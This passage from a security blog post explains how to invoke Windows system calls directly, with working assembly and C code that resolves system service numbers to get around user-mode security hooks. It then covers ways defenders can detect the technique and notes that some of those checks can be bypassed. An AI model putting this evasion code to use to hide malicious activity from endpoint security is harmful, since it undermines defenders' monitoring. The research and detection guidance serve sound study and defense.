      inc     ebx                 ; i++
      cmp     edx, [r9+rbx*8+4]   ; our hash?
      loopne  search_table        ; loop until found or no entries left
      jne     exit_search
      mov     dword[r8], ebx      ; if found, save SSN
exit_search:
      sete    al                  ; return TRUE or FALSE
      ret
```

The code stub used to execute an SSN can be embedded in the `.text` section of the PoC, but might make more sense moving to an area of memory that won't be detected as a manual call:

```
InvokeSsn_amd64:
      pop     rax             ; return address
      pop     r10
      push    rax             ; save in shadow space as _rcx

      push    rcx             ; rax = ssn
      pop     rax

      push    rdx             ; rcx = arg1
      pop     r10

      push    r8              ; rdx = arg2
      pop     rdx

      push    r9              ; r8 = arg3
      pop     r8
                              ; r9 = arg4
      mov     r9, [rsp + SHADOW_SPACE_size]

      syscall
      jmp     qword[rsp+SHADOW_SPACE._rcx]
```

The following code demonstrates how to use the above functions to invoke `ntdll!NtAllocateVirtualMemory`:

```
SYSCALL_LIST   List;
DWORD          SsnId, SsnHash;
InvokeSsn_t    InvokeSsn;

//
// Gather a list of system calls from the Export Address Table.
//
GetSyscallList(&List);

{
  //
  // Test allocating virtual memory
  //
  SsnHash = ct_HashSyscall("NtAllocateVirtualMemory");
  if(!GetSSN(&List, SsnHash, &SsnId)) {
    printf("Unable to find SSN for NtAllocateVirtualMemory : %08lX.\n", SsnHash);
    return 0;
  }

  PVOID BaseAddress = NULL;
  SIZE_T RegionSize = 4096;
  ULONG flAllocationType = MEM_COMMIT | MEM_RESERVE;
  ULONG flProtect = PAGE_READWRITE;
  NTSTATUS Status;

  InvokeSsn = (InvokeSsn_t)&InvokeSsn_stub;

  printf("Invoking SSN : %ld\n", SsnId);

  Status = InvokeSsn(
            SsnId,
            NtCurrentProcess(),
            &BaseAddress,
            0,
            &RegionSize,
            flAllocationType,
            flProtect
            );

  printf("Status : %s (%08lX)\n",
    Status == STATUS_SUCCESS ? "Success" : "Failed", Status);

  if(BaseAddress != NULL) {
    printf("Releasing memory allocated at %p\n", BaseAddress);
    VirtualFree(BaseAddress, 0, MEM_RELEASE | MEM_DECOMMIT);
  }
}
```

Shortly after writing code based on the idea suggested by userman01, another project that implements the same idea was discovered here.

Detecting Manual Invocation

What can defenders do to protect themselves?

Byte Signatures and Emulation

Unless obfuscated/encrypted, the code stubs inside an image to execute one or more system calls will clearly indicate malicious intent because there's no legitimate reason for a non-Microsoft application to execute them directly. The only exception would be cirvumventing UM hooks installed by a malicious application. A YARA signature for the "syscall" instruction or a rule for Fireeye's CAPA to automate discovery is a good start. Generally, any non-Microsoft application that reads the PEB or `KUSER_SHARED_DATA` are simple indicators of something malicious being executed. Emulation of code with the Unicorn Engine to detect a stub inside obfuscated/encrypted code is also an idea that understandably takes more time and effort to implement.

Mitigation Policies

Microsoft provide a range of mitigation policies that can be enforced upon a process to block malicious code from executing. Import and Export Address Filtering are two potential ways that could prevent enumeration of the system call names. There's also ProcessSystemCallDisablePolicy to disable Win32k system calls for syscalls in `user32.dll` or `win32u.dll`. Another policy that remains undocumented by Microsoft is **`ProcessSystemCallFilterPolicy`**.

Instrumentation Callback

Windows x64 system service hooks and advanced debugging describes the *ProcessInstrumentationCallback* info class that was also discussed by Alex Ionescu at Recon 2015 in his Hooking Nirvana presentation. It allows post-processing of system calls and can be used to detect manual invocation. Defenders could install the callback and after each invocation examine the return address to determine if it originated from within `NTDLL.dll`, `user32.dll`, `Win32u.dll` or some other area of memory system calls shouldn't exist.

ScyllaHide is an Anti-Anti-Debug library that uses this method of detection. However, at the time of writing this, it only checks if the call originated from inside the host image. A simple bypass is to change the return address to a location outside it. As you can see, it's also possible to manipulate the `NTSTATUS` value of a system call.

```
ULONG_PTR
NTAPI
InstrumentationCallback(
    _In_ ULONG_PTR ReturnAddress,
    _Inout_ ULONG_PTR ReturnVal
    )
{
    PVOID ImageBase = NtCurrentPeb()->ImageBaseAddress;
    PIMAGE_NT_HEADERS NtHeaders = RtlImageNtHeader(ImageBase);

    // is the return address within the host image?
    if (ReturnAddress >= (ULONG_PTR)ImageBase &&
        ReturnAddress < (ULONG_PTR)ImageBase + NtHeaders->OptionalHeader.SizeOfImage)
    {
      // manual system call detected.
    }
}
```

The following code installs the callback:

```
    // Windows 7-8.1 require SE_DEBUG for this to work, even on the current process
    BOOLEAN SeDebugWasEnabled;
    Status = RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &SeDebugWasEnabled);

    PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION InstrumentationCallbackInfo;

    InstrumentationCallbackInfo.Version  = 0;
    InstrumentationCallbackInfo.Reserved = 0;
    InstrumentationCallbackInfo.Callback = InstrumentationCallback;

    Status = NtSetInformationProcess(
              ProcessHandle,
              ProcessInstrumentationCallback,
              &InstrumentationCallbackInfo,
              sizeof(InstrumentationCallbackInfo)
              );
```

Fortunately for red teams, it's possible to remove any callback with `NtSetInformationProcess` by setting the callback to NULL.

Intel Processor Trace (IPT)

Intel's binary instrumentation tool, which facilitates tracing at instruction level with triggering and filtering capabilities, can be used to intercept system calls before and after execution. Intel Skylake and later CPU models also support IPT, that provides similar functionality on Windows 10 since build 1803.

Further Research

This blog post was written by @modexpblog.